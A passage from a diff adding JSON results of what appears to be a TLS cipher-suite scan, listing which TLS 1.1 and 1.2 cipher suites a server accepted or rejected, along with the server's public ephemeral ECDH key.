"TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_1" + }, + "status": "COMPLETED" + }, + "tls_1_2_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "AES256-GCM-SHA384" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "AES256-SHA256" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "AES128-GCM-SHA256" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "AES128-SHA256" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDHE-RSA-AES256-SHA384" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDHE-RSA-AES128-SHA256" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA256", + "openssl_name": "NULL-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "CAMELLIA256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_256_CCM_8", + "openssl_name": "AES256-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CCM", + "openssl_name": "AES256-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CCM_8", + "openssl_name": "AES128-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CCM", + "openssl_name": "AES128-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDH-RSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDH-RSA-AES256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDH-RSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDH-RSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDH-ECDSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDH-ECDSA-AES256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDH-ECDSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDH-ECDSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "ECDHE-RSA-CHACHA20-POLY1305" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384", + "openssl_name": "ECDHE-RSA-CAMELLIA256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "ECDHE-RSA-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ECDHE-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ECDHE-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDHE-RSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDHE-RSA-AES128-GCM-SHA256" + }, + "error_message": 